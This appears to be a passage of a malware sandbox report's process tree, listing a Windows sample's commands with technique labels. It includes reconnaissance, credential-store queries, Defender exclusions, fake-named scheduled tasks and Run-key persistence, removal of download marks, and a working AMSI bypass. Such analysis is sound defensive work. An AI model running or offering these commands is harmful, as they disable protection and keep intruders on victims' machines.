    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:1776
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:4360
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:4848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:1232
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:1528
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:1912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:1600
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:2300
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:1588
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:4120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4124
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:4048
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2848
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:2320
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:2084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:4416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:1940
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:4008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4160
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:4296
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4932
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:5060
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:4196
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:4648
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:1080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:2272
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:3732
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:1912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:380
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:2488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:5000
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1132
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:1080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:2076
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:2500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  PID:4552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:4828
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:2940
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:2132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:3444
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:4992
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:2924
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:848
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:1292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1780
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:3500
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:4112
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      PID:4832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780548647022.xml" /f"
  2⤵
  PID:3736
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780548647022.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2252
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:464
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780548647178.xml" /f"
  2⤵
  PID:3520
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780548647178.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3664
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1148
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780548647288.xml" /f"
  2⤵
  PID:1292
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780548647288.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2388
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3604
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780548647428.xml" /f"
  2⤵
  PID:2748
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780548647428.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3988
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2764
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780548647600.xml" /f"
  2⤵
  PID:3556
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780548647600.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2052
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:940
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:5024
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:3680
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:3376
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:4572
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:4136
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:3360
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      PID:4196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:2040
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:2448
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      PID:684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2804
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3152
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:4360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2464
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4308
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:4124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:700
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4020
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
